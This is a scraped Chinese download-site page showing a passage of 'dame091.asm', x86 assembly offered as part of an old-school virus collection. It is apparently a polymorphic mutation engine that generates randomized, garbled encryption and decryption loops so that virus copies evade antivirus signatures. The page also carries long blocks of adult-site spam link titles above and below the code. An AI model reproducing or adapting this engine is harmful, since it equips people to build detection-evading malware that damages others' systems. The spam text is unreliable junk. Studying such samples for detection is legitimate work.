亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? dame091.asm

?? More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
?? ASM
?? 第 1 頁 / 共 5 頁
字號:
        jz      s1
        call    get_rand                        ; get a random initial value
        mov     _pointer_value1,ax              ; for the pointer register
        call    get_another                     ; get a counter register
s1:     stosb                                   ; Store the counter register

        xchg    ax,dx

        mov     al,84                           ; Assume no encryption register
        call    one_in_two                      ; 50% change of having an
        js      s2                              ; encryption register
                                                ; Note: This merely serves as
                                                ; an extra register and may or
                                                ; may not be used as the
                                                ; encryption register.
        call    get_another                     ; get a register to serve as
s2:     stosb                                   ; the encryption register

        cmp     ax,dx                           ; normalise counter/encryption
        ja      s3                              ; register pair so that the
        xchg    ax,dx                           ; smaller one is always in the  
s3:     mov     ah,dl                           ; high byte
        cmp     ax,305                          ; both BX and BP used?
        jz      s0                              ; then try again
        cmp     ax,607                          ; both SI and DI used?
        jz      s0                              ; try once more

s4:     mov     si,offset reg_table1            ; Use the table
        mov     ax,3                            ; Assume one pointer register
        test    ch,80                           ; Using two registers?
        jz      use_one_pointer_reg
        add     si,4*3                          ; Go to two register table
        add     al,4                            ; Then use appropriate mask
use_one_pointer_reg:
        call    get_rand_bx                     ; Get a random value
        and     bx,ax                           ; Apply mask to it
        add     si,bx                           ; Adjust table offset
        add     bx,bx                           ; Double the mask
        add     si,bx                           ; Now table offset is right
        lodsw                                   ; Get the random register pair
        mov     bx,ax                           ; Check if the register in the
        and     bx,7                            ; low byte is already used
        cmp     byte ptr [bx+_used_regs],0
        jnz     s4                              ; If so, try again
        mov     bl,ah                           ; Otherwise, check if there is
        or      bl,bl                           ; a register in the high byte
        js      s5                              ; If not, we are done
        cmp     byte ptr [bx+_used_regs],0      ; Otherwise, check if it is
        jnz     s4                              ; already used
s5:     stosw                                   ; Store _pointer_reg1, 
        movsb                                   ; _pointer_reg2, and 
                                                ; _pointer_rm
calculate_maxnest:
        call    get_rand                        ; Random value for _maxnest
        and     al,0f                           ; from 0 to MAXNEST
        cmp     al,MAXNEST                      ; Is it too large?
        ja      calculate_maxnest               ; If so, try again
        stosb                                   ; Otherwise, we have _maxnest

        call    clear_used_regs                 ; mark no registers used
encode_setup:                                   ; encode setup portion
        mov     di,_decryptpointer              ; (pre-loop) of the routines
        call    twogarble                       ; start by doing some garbling
                                                ; on the decryption routine
        mov     si,offset _counter_reg          ; now move the initial
        push    si                              ; values into each variable
encode_setup_get_another:                       ; register -- encode them in a
        call    get_rand_bx                     ; random order for further
                                                ; variability
        and     bx,3                            ; get a random register to en-
        mov     al,[si+bx]                      ; code, i.e. counter, pointer,
        cbw                                     ; or encryption value register
        test    al,80                           ; is it already encoded?
        jnz     encode_setup_get_another        ; then get another register

        or      byte ptr [bx+_counter_reg],80   ; mark it encoded in both the
        mov     si,ax                           ; local and
        inc     byte ptr [si+_used_regs]        ; master areas

        add     bx,bx                           ; convert to word offset
        mov     dx,word ptr [bx+_counter_value] ; find value to set the
                                                ; register to
        mov     _nest,0                         ; clear the current nest count
        call    mov_reg_xxxx                    ; and encode decryption routine
                                                ; instruction
        call    twogarble                       ; garble it some more
        call    swap_decrypt_encrypt            ; now work on the encryption
                                                ; routine
        push    cx                              ; save the current bitmap
        and     cl,not 7                        ; encode short routines only
        call    _mov_reg_xxxx                   ; encode the encryption routine
                                                ; instruction
        pop     cx                              ; restore bitmap

        mov     _encryptpointer,di              ; return attention to the
                                                ; decryption routine
        pop     si
        mov     dx,4
encode_setup_check_if_done:                     ; check if all the variables
                                                ; have been encoded
        lodsb                                   ; get the variable
        test    al,80                           ; is it encoded?
        jz      encode_setup                    ; nope, so continue encoding
        dec     dx                              ; else check the next variable
        jnz     encode_setup_check_if_done      ; loop upwards

        mov     si,offset _encryptpointer       ; Save the addresses of the 
        mov     di,offset _loopstartencrypt     ; beginning of the loop in
        movsw                                   ; the encryption and decryption
        movsw                                   ; routines

; Encode the encryption/decryption part of loop
        mov     _relocate_amt,0                 ; reset relocation amount
        call    do_encrypt1                     ; encode encryption

        test    ch,40                           ; dword encryption?
        jz      dont_encrypt2                   ; nope, skip

        mov     _relocate_amt,2                 ; handle next word to encrypt
        call    do_encrypt1                     ; and encrypt!
dont_encrypt2:
; Now we are finished encoding the decryption part of the loop.  All that
; remains is to encode the loop instruction, garble some more, and patch
; the memory manipulation instructions so they encrypt/decrypt the proper
; memory locations.
        mov     bx,offset _loopstartencrypt     ; first work on the encryption
        push    cx                              ; save the bitmap
        and     cl,not 7                        ; disable garbling/big routines
        call    encodejmp                       ; encode the jmp instruction
        pop     cx                              ; restore the bitmap

        mov     ax,0c3fc ; cld, ret             ; encode return instruction
        stosw                                   ; in the encryption routine

        mov     si,offset _encrypt_relocator    ; now fix the memory
        mov     di,_start_encrypt               ; manipulation instructions

        push    cx                              ; cx is not auto-preserved
        call    relocate                        ; fix address references
        pop     cx                              ; restore cx

        mov     bx,offset _loopstartdecrypt     ; Now work on decryption
        call    encodejmp                       ; Encode the jmp instruction
        push    di                              ; Save the current pointer
        call    clear_used_regs                 ; Mark all registers unused
        pop     di                              ; Restore the pointer
        call    twogarble                       ; Garble some more
        test    cl,8                            ; Paragraph alignment on
        jnz     align_paragraph                 ; entry to virus?
        test    ch,20                           ; If it is a backwards
        jz      no_clear_prefetch               ; decryption, then flush the
        call    clear_PIQ                       ; prefetch queue (for 386+)
no_clear_prefetch:                              ; Curse the PIQ!!!!!
        call    twogarble                       ; Garble: the final chapter
        jmp     short PIQ_done
align_paragraph:
        mov     dx,di                           ; Get current pointer location
        sub     dx,_decryptpointer2             ; Calculate offset when control
        add     dx,_start_decrypt               ; is transfered to the carrier
        inc     dx                              ; Adjust for the JMP SHORT
        inc     dx
        neg     dx
        and     dx,0f                           ; Align on the next paragraph
        cmp     dl,10-2                         ; Do we need to JMP?
        jnz     $+7                             ; Yes, do it now
        test    ch,20                           ; Otherwise, check if we need
        jz      PIQ_done                        ; to clear the prefetch anyway
        call    clear_PIQ_jmp_short             ; Encode the JMP SHORT
PIQ_done:
        mov     _decryptpointer,di

        mov     si,offset _decrypt_relocator    ; Calculate relocation amount
        sub     di,_decryptpointer2
        add     di,_start_decrypt
relocate:
        test    ch,20                           ; Encrypting forwards or
        jz      do_encrypt_backwards            ; backwards?
        add     di,_encrypt_length              ; Backwards is /<0oI_
do_encrypt_backwards:                           ; uh huh uh huh uh huh
        sub     di,_pointer_value1              ; Calculate relocation amount
        sub     di,_pointer_value2
        mov     cx,word ptr [si-2]              ; Get relocation count
        jcxz    exit_relocate                   ; Exit if nothing to do
        xchg    ax,di                           ; Otherwise we be in business
relocate_loop:                                  ; Here we go, yo
        xchg    ax,di
        lodsw                                   ; Get address to relocate
        xchg    ax,di
        add     [di],ax                         ; Relocate mah arse!
        loop    relocate_loop                   ; Do it again 7 times
exit_relocate:                                  ; ('cause that makes 8)
        mov     di,_decryptpointer              ; Calculate the decryption
        mov     cx,di                           ; routine size to pass
        sub     cx,_decryptpointer2             ; back to the caller
        ret

encodejmp:
        mov     di,word ptr [bx+_encryptpointer-_loopstartencrypt]

        push    bx
        mov     _nest,0                         ; Reset nest count
        mov     al,_pointer_reg1                ; Get the pointer register
        and     ax,7                            ; Mask out any modifications
        mov     dx,2                            ; Assume word encryption
        test    ch,40                           ; Word or Dword?
        jz      update_pointer1
        shl     dx,1                            ; Adjust for Dword encryption
update_pointer1:
        test    ch,20                           ; Forwards or backwards?
        jz      update_pointer2
        neg     dx                              ; Adjust for backwards
update_pointer2:
        test    ch,80                           ; Are there two pointers?
        jz      update_pointer_now              ; Continue only if so

        sar     dx,1                            ; Halve the add value
        push    ax                              ; Save register to add
        call    add_reg_xxxx                    ; Add to first register
        mov     al,_pointer_reg2
        and     ax,7                            ; Add to the second pointer
        call    add_reg_xxxx                    ; register
        pop     bx
        test    ch,8                            ; Using a counter register?
        jnz     update_pointer_done             ; If not, continue this

        push    bx                              ; Save first register
        xchg    ax,dx                           ; Move second register to DX
        call    get_another                     ; Get new register regX
        call    mov_reg_reg                     ; MOV regX, _pointer_reg2
        pop     dx                              ; Restore first register
        call    add_reg_reg                     ; ADD regX, _pointer_reg1
        call    clear_reg                       ; Clear the temp register
        jmp     short update_pointer_done       ; Skip adjustment of pointer
                                                ; register (already done)
update_pointer_now:
        call    add_reg_xxxx                    ; Adjust pointer register
update_pointer_done:
        mov     dl,75                           ; Assume JNZ

        mov     al,_counter_reg                 ; Is there a counter register?
        and     ax,7
        cmp     al,_sp
        jz      do_jnz

        push    dx                              ; Save JNZ
        mov     dx,1                            ; Assume adjustment of one

        test    ch,10                           ; Check counter direction
        jz      go_counter_forwards             ; If forwards, increment the
                                                ; counter
        cmp     al,_cx                          ; Check if the counter is CX
        jnz     regular                         ; If not, then decrement the
                                                ; counter and continue
        call    one_in_two                      ; Otherwise, there is a 50%
        js      regular                         ; chance of using a LOOP

        pop     dx
        mov     dl,0e2                          ; let us encode the LOOP
        jmp     short do_jnz

regular:neg     dx
go_counter_forwards:
        call    add_reg_xxxx                    ; Adjust counter register
        pop     dx
do_jnz: pop     bx
        mov     ax,[bx]                         ; Calculate value to JNZ/LOOP
        sub     ax,di                           ; back
        dec     ax
        dec     ax
        xchg    ah,al                           ; Value is in AL
        mov     al,dl   ; jnz

        or      ah,ah                           ; Value >= 128?  If so, it is
        js      jmplocation_okay                ; impossible to JNZ/LOOP there
                                                ; due to stupid 8086 limitation
        pop     ax ax                           ; Take return locations off
        jmp     redo_dame                       ; the stack and encode again
jmplocation_okay:
        stosw                                   ; Encode JNZ/LOOP instruction
        mov     word ptr [bx+_encryptpointer-_loopstartencrypt],di
        ret                                     ; Save current location

encryption:
; This routine encodes the instruction which actually manipulates the memory
; location pointed to by the pointer register.
        and     ch,not 4                        ; Default = no double reference
        call    one_in_two                      ; But there is a 50% chance of
        js      not_double_reference            ; using a double reference
        or      ch,4                            ; Yes, we are indeed using it
not_double_reference:
        mov     di,_decryptpointer              ; Set the registers to work
        mov     bp,offset _decrypt_relocate_num ; with the decryption routine
        call    twogarble                       ; Insert some null instructions

        xor     ax,ax                           ; Get the value for the rm
        mov     al,_pointer_rm                  ; field corresponding to the
                                                ; pointer register/s used
        call    choose_routine                  ; Get random decryption type
        call    go_next                         ; to DX, BX, SI
        push    si dx si dx                     ; Save crypt value/register
                                                ; and crypt pointer
;;        mov     _nest,0 ; not needed - choose_routine does it
        test    ch,4
        jz      not_double_reference1           ; Double reference?

        xchg    ax,dx                           ; Pointer register/s to dx
        call    get_another                     ; Unused register to AX (reg1)
        call    mov_reg_reg                     ; MOV reg1,[pointer]
        mov     _kludge,dx                      ; Store the pointer register
not_double_reference1:
        pop     dx si                           ; Restore decryption pointer

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美日韩精品免费| 成人高清免费观看| 亚洲一区二区精品视频| 亚洲欧美一区二区三区久本道91| 中文字幕一区日韩精品欧美| 亚洲人成人一区二区在线观看| 国产精品人妖ts系列视频| 国产精品美女久久久久久久久久久 | 国产精品无码永久免费888| 国产日韩精品一区二区浪潮av| 久久新电视剧免费观看| 中国色在线观看另类| 国产精品国产a| 亚洲最大的成人av| 亚洲成a天堂v人片| 国内精品视频一区二区三区八戒| 国产精品自产自拍| 91影视在线播放| 欧美日韩久久不卡| 亚洲精品在线免费播放| 日本一区二区高清| 亚洲一区二区三区小说| 美女视频免费一区| 成人手机在线视频| 欧美美女直播网站| 久久久无码精品亚洲日韩按摩| 亚洲欧洲日韩一区二区三区| 日韩综合一区二区| 国产成人午夜视频| 欧美日韩一二三| 精品成人免费观看| 亚洲在线免费播放| 国产美女精品一区二区三区| 91视频在线看| 精品国产髙清在线看国产毛片| 亚洲国产精品av| 天堂久久一区二区三区| 国产激情一区二区三区| 欧美日韩的一区二区| 国产日韩精品一区二区浪潮av| 亚洲精品成人天堂一二三| 久久99精品久久久久久动态图| 成人av电影免费观看| 日韩午夜激情电影| 亚洲图片欧美色图| 国产91综合网| 精品日韩99亚洲| 一区二区久久久久| av亚洲精华国产精华| 欧美电影免费提供在线观看| 亚洲国产欧美日韩另类综合| 国产精品一区二区视频| 欧美刺激午夜性久久久久久久| 樱花草国产18久久久久| 国产69精品久久久久777| 日韩午夜中文字幕| 亚洲成人资源在线| 欧美亚州韩日在线看免费版国语版| 国产亚洲欧美一区在线观看| 日本sm残虐另类| 欧美日韩国产不卡| 亚洲精品欧美在线| 91在线高清观看| 国产精品每日更新在线播放网址| 国产一区二区中文字幕| 欧美mv日韩mv国产网站app| 石原莉奈在线亚洲三区| 欧美三级视频在线| 亚洲美女淫视频| 在线看日韩精品电影| 一个色妞综合视频在线观看| 99视频有精品| 亚洲日穴在线视频| 欧美在线免费播放| 夜夜精品浪潮av一区二区三区| 色老汉一区二区三区| 亚洲天堂网中文字| 91精彩视频在线| 亚洲高清视频的网址| 欧美三级韩国三级日本一级| 亚洲第一会所有码转帖| 91精品久久久久久久91蜜桃| 日本特黄久久久高潮| 精品国产一二三| 国产精品资源在线| 国产欧美日韩另类一区| 91网站在线观看视频| 亚洲精品免费一二三区| 欧美精品久久久久久久多人混战| 丝袜美腿亚洲一区| 精品国产百合女同互慰| 丰满少妇在线播放bd日韩电影| 国产精品你懂的| 欧美丝袜丝交足nylons图片| 日本成人在线看| 久久色在线视频| 色伊人久久综合中文字幕| 亚洲午夜精品17c| xnxx国产精品| av亚洲精华国产精华| 香蕉av福利精品导航| 欧美videos大乳护士334| 不卡的av网站| 天堂久久久久va久久久久| 久久久五月婷婷| 在线日韩av片| 国内精品国产成人| 亚洲欧美日韩在线| 精品第一国产综合精品aⅴ| 91老师片黄在线观看| 蜜臀精品久久久久久蜜臀| 中文字幕国产一区| 欧美一区二区三区在线电影| 成人在线视频一区二区| 日韩av中文字幕一区二区| 欧美激情综合五月色丁香| 欧美日韩国产美| 不卡的电影网站| 久久成人18免费观看| 一区二区三区成人| 国产精品午夜在线| 欧美电影免费观看高清完整版在 | 久久久综合精品| 欧美日韩高清一区二区不卡| 国产成人av影院| 免费在线观看一区| 亚洲综合激情另类小说区| 久久久一区二区| 日韩午夜精品视频| 欧美日韩综合不卡| 色欲综合视频天天天| 国产丶欧美丶日本不卡视频| 美女一区二区视频| 日韩精品电影在线| 一区二区三区在线视频免费观看| 日本一区二区电影| 国产午夜三级一区二区三| 欧美一区日本一区韩国一区| 欧美专区日韩专区| 91激情五月电影| 91在线丨porny丨国产| 成人精品一区二区三区中文字幕 | 欧美又粗又大又爽| 91免费国产在线观看| 成人h动漫精品一区二| 国产成人免费网站| 国产精品香蕉一区二区三区| 国产曰批免费观看久久久| 国产在线精品国自产拍免费| 精品亚洲成av人在线观看| 久久爱另类一区二区小说| 久久国产麻豆精品| 精品一区二区日韩| 韩国女主播一区| 国产精品一区二区三区四区| 激情文学综合丁香| 黑人巨大精品欧美一区| 韩国欧美一区二区| 成人天堂资源www在线| 91丨国产丨九色丨pron| 色综合亚洲欧洲| 欧美专区在线观看一区| 91精品国产综合久久福利软件 | 国产激情视频一区二区三区欧美| 国产精品一区三区| 成人免费观看视频| 91无套直看片红桃| 欧美肥妇bbw| 精品粉嫩超白一线天av| 国产精品伦理在线| 亚洲与欧洲av电影| 美女爽到高潮91| 国产成人精品三级麻豆| 91免费观看在线| 日韩一区二区在线观看| 久久久国产一区二区三区四区小说 | 亚洲欧洲精品一区二区精品久久久| 亚洲少妇最新在线视频| 日韩av成人高清| 国产成人免费视| 欧美在线免费观看亚洲| 久久综合久久鬼色| 亚洲人成在线播放网站岛国| 日韩avvvv在线播放| 大胆亚洲人体视频| 91.com视频| 国产精品久久午夜| 天堂久久久久va久久久久| 成人网页在线观看| 制服视频三区第一页精品| 中文字幕不卡三区| 亚洲第四色夜色| 国产成人av网站| 9191久久久久久久久久久| 国产蜜臀97一区二区三区| 亚洲永久精品国产| 国产99久久久精品| 欧美一级一级性生活免费录像| 中文字幕一区不卡| 国产一区免费电影|